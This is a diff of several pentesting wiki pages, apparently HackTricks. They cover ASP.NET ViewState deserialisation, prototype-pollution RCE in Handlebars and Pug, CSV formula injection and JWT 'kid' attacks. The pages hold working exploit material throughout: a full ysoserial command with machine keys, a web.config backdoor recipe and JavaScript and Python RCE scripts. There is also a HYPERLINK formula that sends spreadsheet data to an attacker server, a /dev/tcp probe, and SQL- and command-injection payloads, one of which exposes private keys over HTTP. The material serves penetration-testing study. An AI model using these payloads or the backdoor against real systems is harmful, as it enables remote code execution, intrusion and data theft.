.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
**Note:** Due to the nature of used gadgets in YSoSerial.Net, the target ASP.NET page always responds with an error even when an exploit has been executed successfully on the server-side.
|
||||
{% endhint %}
|
||||
|
||||
### Application path
|
||||
|
||||
it is important to find the root of the application path in order to create a valid ViewState unless:
|
||||
|
||||
* The application uses .NET Framework version 4.0 or below; and
|
||||
* The `__VIEWSTATEGENERATOR` parameter is known.
|
||||
|
||||
The following screenshot shows the path tree in IIS:
|
||||
|
||||
![](https://soroush.secproject.com/downloadable/images/aspnetviewstate/iis.png)
|
||||
|
||||
You can check [\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis) if you are not familiar with virtual directory and application terms in IIS.
|
||||
|
||||
In order to generate a ViewState for the above URL, the `--path` and `--apppath` arguments should be as follows:
|
||||
|
||||
```
|
||||
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
|
||||
--apppath=/app2/
|
||||
```
|
||||
|
||||
If we did not know that “app2” was an application name, we could use **trial and error to test all the directory names** in the URL one by one until finding a ViewState that can execute code on the server (perhaps by getting a DNS request or causing a delay).
|
||||
|
||||
### Generator
|
||||
|
||||
In this case, the `--generator` argument can be used. The `--isdebug` argument can be used to check whether the plugin also calculates the same `__VIEWSTATEGENERATOR` parameter when the `--path` and `--apppath` arguments have been provided.
|
||||
|
||||
## Exploiting Older Versions
|
||||
|
||||
No gadget was identified to exploit .NET Framework v1.1 at the time of writing this blog post.
|
||||
|
||||
In order to exploit applications that use .NET Framework v4.0 or below, the YSoSerial.Net v2.0 branch [\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2) can be used (this was originally developed as part of another research [\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)). However, this project only supports a limited number of gadgets, and also requires the target box to have .NET Framework 3.5 or above installed.
|
||||
|
||||
## **Other tools**
|
||||
|
||||
It seems Immunity Canvas supports creating the ViewState parameter when the validation and encryption keys are known [\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761). The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising:
|
||||
|
||||
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen) (written in Python)
|
||||
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET) (written in .NET)
|
||||
|
||||
I think these tools currently **do not differentiate between different versions of .NET** Framework and target the legacy cryptography. Additionally, they **do not use the `ViewStateUserKey`** parameter that might be in use to stop CSRF attacks.
|
||||
|
||||
# Additional Tips
|
||||
|
||||
## **Using GET requests**
|
||||
|
||||
It is also possible to send the `__VIEWSTATE` parameter in the URL via a GET request. The only limiting factor is the URL length that limits the type of gadgets that can be used here.
|
||||
|
||||
## **Encryption in .NET Framework prior to version 4.5**
|
||||
|
||||
As mentioned previously, the `__VIEWSTATE` parameter does not need to be encrypted when exploiting .NET Framework 4.0 and below (tested on v2.0 through v4.0) even when the `ViewStateEncryptionMode` property has been set to `Always`. ASP.NET decides whether or not the ViewState has been encrypted by finding the `__VIEWSTATEENCRYPTED` parameter in the request (it does not need to have any value). Therefore, it is possible to send an unencrypted ViewStated by removing the `__VIEWSTATEENCRYPTED` parameter from the request.
|
||||
|
||||
This also means that changing the decryption key or its algorithm cannot stop the attacks when the validation key and its algorithm have been stolen.
|
||||
|
||||
The `__VIEWSTATE` parameter can be encrypted in order to bypass any WAFs though.
|
||||
|
||||
## **Bypassing anti-CSRF (anti-XSRF) mechanism**
|
||||
|
||||
An ASP.NET page produces an error when an invalid `__VIEWSTATE` parameter is used. However, the page can still receive its inputs when `Request.Form` is used directly in the code for example by using `Request.Form["txtMyInput"]` rather than `txtMyInput.Text`. **The CSRF attack can be achieved by removing the `__VIEWSTATE` parameter from the request or by adding the `__PREVIOUSPAGE` parameter with an invalid value**. As the `__PREVIOUSPAGE` parameter is encrypted and base64 formatted by default, even providing a single character as its value should cause an error.
|
||||
|
||||
This might result in bypassing the anti-CSRF protection mechanism that has been implemented by setting the `Page.ViewStateUserKey` parameter.
|
||||
|
||||
## **Usage of the ViewStateGenerator parameter**
|
||||
|
||||
When the `__VIEWSTATEGENERATOR` parameter is known, it can be used for the ASP.NET applications that use .NET Framework version 4.0 or below in order to sign a serialised object without knowing the application path.
|
||||
|
||||
## **ViewState chunking to bypass WAFs**
|
||||
|
||||
It is possible to break the `__VIEWSTATE` parameter into multiple parts when the **`MaxPageStateFieldLength`** property has been set to a **positive** **value**. Its **default** value is **negative** and it means that the **`__VIEWSTATE`** parameter **cannot be broken into multiple parts**.
|
||||
|
||||
This might be useful to bypass some WAFs when ViewState chunking is allowed.
|
||||
|
||||
## **Exploiting the EventValidation parameter**
|
||||
|
||||
The `__EVENTVALIDATION` parameter and a few other parameters are also serialised similar to the `__VIEWSTATE` parameter and can be targeted similarly. Exploiting a deserialisation issue via `__EVENTVALIDATION` is more restricted and requires:
|
||||
|
||||
* A POST request
|
||||
* An ASP.NET page that accepts input parameters
|
||||
* A valid input parameter name. For example, the `myinput` parameter in the POST request when we have the following code on the server-side:
|
||||
|
||||
```markup
|
||||
<asp:TextBox runat="server" ID="myinput" />
|
||||
```
|
||||
|
||||
Value of the `__VIEWSTATE` parameter can be empty in the request when exploiting the `__EVENTVALIDATION` parameter but it needs to exist.
|
||||
|
||||
The `Purpose` string that is used by .NET Framework 4.5 and above to create a valid signature is different based on the used parameter. The following table shows the defined `Purpose` strings in .NET Framework:
|
||||
|
||||
| **Input Parameter** | **Purpose String** |
|
||||
| ------------------------------------------------------------ | -------------------------------------------------- |
|
||||
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
|
||||
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
|
||||
| P2 in P1\|P2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
|
||||
| P4 in P1\|P2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
|
||||
| P3 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
|
||||
| P4 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
|
||||
|
||||
The table above shows all input parameters that could be targeted.
|
||||
|
||||
## **Beware of the PreviousPage parameter**
|
||||
|
||||
When the **`__PREVIOUSPAGE`** parameter exists in the request with **invalid** data, the **application** **does** **not** **deserialise** the **`__VIEWSTATE`** parameter. Providing the `__CALLBACKID` parameter prevents this behaviour.
|
||||
|
||||
## **Errors reliability**
|
||||
|
||||
As explained previously, we sometimes use errors to check whether a generated ViewState is valid. ASP.NET does not show the MAC validation error by default when an invalid `__VIEWSTATEGENERATOR` parameter is used. This behaviour changes when the `ViewStateUserKey` property is used, as ASP.NET will not suppress the MAC validation errors anymore.
|
||||
|
||||
In addition to this, ASP.NET web applications can ignore the MAC validation errors with the following setting even when the `ViewStateUserKey` property is used:
|
||||
|
||||
```markup
|
||||
<appSettings>
|
||||
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
|
||||
</appSettings>
|
||||
```
|
||||
|
||||
# Web.config as a backdoor
|
||||
|
||||
If attackers can **change** the **`web.config`** within the root of an application, they can **easily run code** on the server. However, embedding a stealthy backdoor on the application might be a good choice for an attacker. This can be done by **disabling the MAC validation** and setting the `viewStateEncryptionMode` property to `Always`. This means that all ASP.NET pages that do not set the `ViewStateEncryptionMode` property to `Auto` or `Never` always use encrypted ViewState parameters. However, as the **ViewState do not use the MAC validation feature, they are now vulnerable to remote code execution via deserialising untrusted data**. The following shows an example:
|
||||
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<system.web>
|
||||
…
|
||||
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
|
||||
</system.web>
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="false" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
|
||||
Another option for a stand-alone website would be to set the `machineKey` section with arbitrary keys and algorithms to stop other attackers!
|
||||
|
||||
It should be noted that setting the `EnableViewState` property to `False` does not stop this attack as the ViewState will still be parsed by ASP.NET.
|
||||
|
||||
**Check the amazing post from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -292,141 +292,23 @@ This bug affects all versions of Lodash, already fixed in version 4.17.11.
|
|||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
## AST Prototype Pollution
|
||||
### AST Prototype Pollution in NodeJS
|
||||
|
||||
In NodeJS, AST is used in JS really often, as template engines and typescript etc.\
|
||||
For the template engine, the structure is as shown above.
|
||||
NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functionalities like template engines and TypeScript. This section explores the vulnerabilities related to prototype pollution in template engines, specifically Handlebars and Pug.
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph\_3.jpg)
|
||||
#### Handlebars Vulnerability Analysis
|
||||
|
||||
### Handlebars
|
||||
Handlebars template engine can be exploited for prototype pollution. The vulnerability is primarily within the `appendContent` and `pushSource` functions in the `javascript-compiler.js` file, where `appendContent` concatenates `pendingContent` if it exists, and `pushSource` sets `pendingContent` to `undefined` after pushing the source.
|
||||
|
||||
Info taken from [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
##### Exploitation Process
|
||||
|
||||
You can insert any string into `Object.prototype.pendingContent` to determine the possibility of an attack.\
|
||||
This allows you to be sure that servers are using handlebars engine when a prototype pollution exists in a black-box environment.
|
||||
The exploitation involves manipulating the AST generated by Handlebars. The process is as follows:
|
||||
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
|
||||
1. **Parser Manipulation**: The parser, through the `NumberLiteral` node, forces values to be numbers. However, this can be bypassed by prototype pollution, allowing the insertion of non-numeric strings.
|
||||
2. **Compiler Handling**: The compiler accepts either an AST Object or a template string. If `input.type` is `Program`, the input is considered pre-parsed, leading to potential exploitation.
|
||||
3. **Code Injection**: By manipulating `Object.prototype`, arbitrary code can be injected into the template function, leading to potential remote code execution.
|
||||
|
||||
...
|
||||
appendContent: function appendContent(content) {
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
|
||||
this.pendingContent = content;
|
||||
},
|
||||
pushSource: function pushSource(source) {
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
}
|
||||
...
|
||||
```
|
||||
|
||||
This is done by the `appendContent` function of `javascript-compiler.js`\
|
||||
`appendContent` is this.If `pendingContent` is present, append to the content and returns.
|
||||
|
||||
`pushSource` makes the `pendingContent` to `undefined`, preventing the string from being inserted multiple times.
|
||||
|
||||
**Exploit**
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph\_5.jpg)
|
||||
|
||||
Handlebars work as shown in the graph above.
|
||||
|
||||
After lexer and parser generater AST, It passes to `compiler.js`\
|
||||
We can run the template function compiler generated with some arguments. and It returns the string like “Hello posix” (when msg is posix)
|
||||
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
|
||||
|
||||
case 36:
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
```
|
||||
|
||||
The parser in handlebars forces the value of a node whose type is NumberLiteral to always be a number through the Number constructor. However, you can insert a non-numeric string here using the prototype pollution.
|
||||
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
|
||||
|
||||
function parseWithoutProcessing(input, options) {
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
|
||||
_parser2['default'].yy = yy;
|
||||
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
|
||||
var ast = _parser2['default'].parse(input);
|
||||
|
||||
return ast;
|
||||
}
|
||||
|
||||
function parse(input, options) {
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
var strip = new _whitespaceControl2['default'](options);
|
||||
|
||||
return strip.accept(ast);
|
||||
}
|
||||
```
|
||||
|
||||
First, look at the compile function, and it supports two ways of input, AST Object and template string.
|
||||
|
||||
when input.type is a `Program`, although the input value is actually string.\
|
||||
Parser considers it’s already AST parsed by parser.js and send it to the compiler without any processing.
|
||||
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
|
||||
|
||||
...
|
||||
accept: function accept(node) {
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
},
|
||||
Program: function Program(program) {
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
|
||||
var body = program.body,
|
||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
|
||||
this.options.blockParams.shift();
|
||||
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
|
||||
return this;
|
||||
}
|
||||
```
|
||||
|
||||
The compiler given the AST Object (actually a string) send it to the `accept` method.\
|
||||
and `accept` calls `this[node.type]` of Compiler.\
|
||||
Then take body attribute of AST and use it for constructing function.
|
||||
Example of Handlebars vulnerability exploitation:
|
||||
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
@ -445,44 +327,22 @@ Object.prototype.body = [{
|
|||
}
|
||||
}];
|
||||
|
||||
|
||||
const source = `Hello {{ msg }}`;
|
||||
const template = Handlebars.precompile(source);
|
||||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
|
||||
/*
|
||||
function (container, depth0, helpers, partials, data) {
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
}
|
||||
*/
|
||||
```
|
||||
|
||||
As a result, an attack can be configured like this. If you have gone through parser, specify a string that cannot be assigned to the value of NumberLiteral. But Injected AST processed, we can insert any code into the function.
|
||||
The above code demonstrates how an attacker can inject arbitrary code into a Handlebars template.
|
||||
|
||||
**Example**
|
||||
**External Reference**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
[https://github.com/hughsk/flat/issues/105](https://github.com/hughsk/flat/issues/105)
|
||||
Example of prototype pollution in Python:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
@ -505,14 +365,16 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
requests.get(TARGET_URL)
|
||||
```
|
||||
|
||||
### Pug
|
||||
#### Pug Vulnerability
|
||||
|
||||
More info in [https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug)
|
||||
Similar to Handlebars, Pug can also be exploited through prototype pollution. More information can be found at [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Example of prototype pollution in Pug:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
@ -526,20 +388,25 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
requests.get(TARGET_URL)
|
||||
```
|
||||
|
||||
## What can I do to prevent?
|
||||
### Preventive Measures
|
||||
|
||||
* Freeze properties with Object.freeze (Object.prototype)
|
||||
* Perform validation on the JSON inputs in accordance with the application’s schema
|
||||
* Avoid using recursive merge functions in an unsafe manner
|
||||
* Use objects without prototype properties, such as `Object.create(null)`, to avoid affecting the prototype chain
|
||||
* Use `Map`instead of `Object`
|
||||
* Regularly update new patches for libraries
|
||||
To mitigate the risk of prototype pollution, consider the following strategies:
|
||||
|
||||
## Reference
|
||||
1. **Object Immutability**: Utilize `Object.freeze` to make `Object.prototype` immutable.
|
||||
2. **Input Validation**: Strictly validate JSON inputs based on the application's schema.
|
||||
3. **Safe Merge Functions**: Avoid unsafe use of recursive merge functions.
|
||||
4. **Prototype-less Objects**: Use `Object.create(null)` to create objects without prototype properties.
|
||||
5. **Use of Map**: Opt for `Map` instead of `Object` for key-value pairs.
|
||||
6. **Library Updates**: Regularly update libraries to incorporate security patches.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
* [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
* [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -47,24 +47,26 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
**The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).**
|
||||
|
||||
Example taken from [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
The following example was taken from [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Let us assume an attack scenario of Student Record Management system of a school. The application allows teacher to enter details of students in the school. The attacker get access to the application and want that all the teacher using the application to get compromised. So the attacker tries to perform CSV injection attack through the web application.\
|
||||
The attacker need to steal other student’s details. So the attacker uses the Hyperlink formula ad enter it while entering student details.
|
||||
Imagine a security breach in a Student Record Management system is exploited through a CSV injection attack. The attacker's primary intention is to compromise the system used by teachers to manage student details. The method involves the attacker injecting a malicious payload into the application, specifically by entering harmful formulas into fields meant for student details. The attack unfolds as follows:
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
|
||||
1. **Injection of Malicious Payload:**
|
||||
- The attacker submits a student detail form but includes a formula commonly used in spreadsheets (e.g., `=HYPERLINK("<malicious_link>","Click here")`).
|
||||
- This formula is designed to create a hyperlink, but it points to a malicious server controlled by the attacker.
|
||||
|
||||
When the teacher export the CSV and click on the hyperlink then the sensitive data is sent to the attacker’s server.
|
||||
2. **Exporting Compromised Data:**
|
||||
- Teachers, unaware of the compromise, use the application's functionality to export the data into a CSV file.
|
||||
- The CSV file, when opened, still contains the malicious payload. This payload appears as a clickable hyperlink in the spreadsheet.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
|
||||
3. **Triggering the Attack:**
|
||||
- A teacher clicks on the hyperlink, believing it to be a legitimate part of the student's details.
|
||||
- Upon clicking, sensitive data (potentially including details from the spreadsheet or the teacher's computer) is transmitted to the attacker's server.
|
||||
|
||||
CSV file exported contains malicious payload in it.
|
||||
4. **Logging the Data:**
|
||||
- The attacker's server receives and logs the sensitive data sent from the teacher's computer.
|
||||
- The attacker can then use this data for various malicious purposes, further compromising the privacy and security of the students and the institution.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
|
||||
|
||||
The details of student in logged in the attackers web server.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
|
||||
|
||||
### RCE
|
||||
|
||||
|
|
|
@ -20,7 +20,7 @@ Other ways to support HackTricks:
|
|||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**Part of this post was taken from:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Quick Wins**
|
||||
|
@ -49,16 +49,19 @@ You can just tamper with the data leaving the signature as is and check if the s
|
|||
|
||||
#### **Is the token checked?**
|
||||
|
||||
* If an error message occurs the signature is being checked - read any verbose error info that might leak something sensitive.
|
||||
* If the page returned is different the signature is being checked.
|
||||
* If the page is the same then the signature is not being checked - time to start tampering the Payload claims to see what you can do!
|
||||
To check if a JWT's signature is being verified:
|
||||
|
||||
- An error message suggests ongoing verification; sensitive details in verbose errors should be reviewed.
|
||||
- A change in the returned page also indicates verification.
|
||||
- No change suggests no verification; this is when to experiment with tampering payload claims.
|
||||
|
||||
|
||||
### Origin
|
||||
|
||||
Check where the token originated in your proxy's request history. It should be created on the server, not the client.
|
||||
It's important to determine whether the token was generated server-side or client-side by examining the proxy's request history.
|
||||
|
||||
* If it was first seen coming from the client-side then the **key** is accessible to client-side code - seek it out!
|
||||
* If it was first seen coming from the server then all is well.
|
||||
- Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation.
|
||||
- Tokens originating server-side indicate a secure process.
|
||||
|
||||
### Duration
|
||||
|
||||
|
@ -97,54 +100,53 @@ This can be done with the "JSON Web Tokens" Burp extension.\
|
|||
|
||||
### JWKS Spoofing
|
||||
|
||||
If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
|
||||
The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification.
|
||||
|
||||
If you get an HTTP interaction you now know that the server is trying to load keys from the URL you are supplying. _Use jwt\_tool's -S flag alongside the -u_ [_http://example.com_](http://example.com) _argument to generate a new key pair, inject your provided URL, generate a JWKS containing the Public Key, and sign the token with the Private Key_
|
||||
- **Assessing Tokens with "jku" Header**:
|
||||
- Verify the "jku" claim's URL to ensure it leads to the appropriate JWKS file.
|
||||
- Modify the token's "jku" value to direct towards a controlled web service, allowing traffic observation.
|
||||
|
||||
### Kid issues
|
||||
- **Monitoring for HTTP Interaction**:
|
||||
- Observing HTTP requests to your specified URL indicates the server's attempts to fetch keys from your provided link.
|
||||
- When employing `jwt_tool` for this process, it's crucial to update the `jwtconf.ini` file with your personal JWKS location to facilitate the testing.
|
||||
|
||||
`kid` is an optional header claim which holds a key identifier, particularly useful when you have multiple keys to sign the tokens and you need to look up the right one to verify the signature.
|
||||
- **Command for `jwt_tool`**:
|
||||
- Execute the following command to simulate the scenario with `jwt_tool`:
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
```
|
||||
|
||||
#### "kid" issues - reveal key
|
||||
### Kid Issues Overview
|
||||
|
||||
If the claim "kid" is used in the header, check the web directory for that file or a variation of it. For example if `"kid":"key/12345"` then look for _/key/12345_ and _/key/12345.pem_ on the web root.
|
||||
An optional header claim known as `kid` is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature.
|
||||
|
||||
#### "kid" issues - path traversal
|
||||
#### Revealing Key through "kid"
|
||||
|
||||
If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try `"kid":"/dev/tcp/yourIP/yourPort"` to test connectivity, or even some **SSRF** payloads...\
|
||||
_Use jwt\_tool's -T flag to tamper the JWT and change the value of the kid claim, then choose to keep the original signature_
|
||||
When the `kid` claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if `"kid":"key/12345"` is specified, the files _/key/12345_ and _/key/12345.pem_ should be searched for in the web root.
|
||||
|
||||
#### Path Traversal with "kid"
|
||||
|
||||
The `kid` claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the `kid` value to target specific files or services. Tampering with the JWT to change the `kid` value while retaining the original signature can be achieved using the `-T` flag in jwt_tool, as demonstrated below:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
||||
Using files inside the host with known content you can also forge a valid JWT. For example, in linux systems the file `/proc/sys/kernel/randomize_va_space` has the value set to **2**. So, putting that **path** inside the "**kid**" parameter and using "**2**" as the **symetric password** to generate the JWT you should be able to generate a valid new JWT.
|
||||
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
|
||||
|
||||
#### "kid" issues - SQL Injection
|
||||
#### SQL Injection via "kid"
|
||||
|
||||
In a scenario where the content of the "kid" is used to retreive the password from the database, you could change the payload inside the "kid" parameter to: `non-existent-index' UNION SELECT 'ATTACKER';-- -` and then sign the JWT with the secret key `ATTACKER`.
|
||||
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
|
||||
|
||||
#### "kid" issues - OS Injection
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
In a scenario where the "kid" parameter contains a path to the file with the key and this path is being used **inside an executed command** you could be able to obtain RCE and expose the private key with a payload like the following: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
|
||||
|
||||
### Miscellaneous attacks
|
||||
#### OS Injection through "kid"
|
||||
|
||||
The following are known weaknesses that should be tested for.
|
||||
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
|
||||
|
||||
**Cross-service relay attacks**
|
||||
|
||||
Some web applications use a trusted JWT ‘service’ to generate and manage tokens for them. In the past some instances have occurred where a token generated for one of the JWT services’ clients can actually be accepted by another of the JWT services’ clients.\
|
||||
If you observe the JWT being issued or renewed via a third-party service then it is worth identifying if you can sign up for an account on another of that service’s clients with your same username/email. If so try taking that token and replaying it in a request to your target. Is it accepted?
|
||||
|
||||
* If your token is accepted then you may have a critical issue allowing you to spoof any user’s account. HOWEVER, be aware that if you are signing up on a third party application you may need to seek permission for wider testing permissions in case it enters a legal grey-area!
|
||||
|
||||
**Is exp checked?**
|
||||
|
||||
The “exp” Payload claim is used to check the expiry of a token. As JWTs are often used in the absence of session information, so they do need to be handled with care - in many cases capturing and replaying someone else’s JWT will allow you to masquerade as that user.\
|
||||
One mitigation against JWT replay attacks (that is advised by the JWT RFC) is to use the “exp” claim to set an expiry time for the token. It is also important to set the relevant checks in place in the application to make sure this value is processed and the token rejected where it is expired. If the token contains an “exp” claim and test time limits permit it - try storing the token and replaying it after the expiry time has passed. _Use jwt\_tool's -R flag to read the content of the token, which includes timestamp parsing and expiry checking (timestamp in UTC)_
|
||||
|
||||
* If the token still validates in the application then this may be a security risk as the token may NEVER expire.
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u and jku
|
||||
|
||||
|
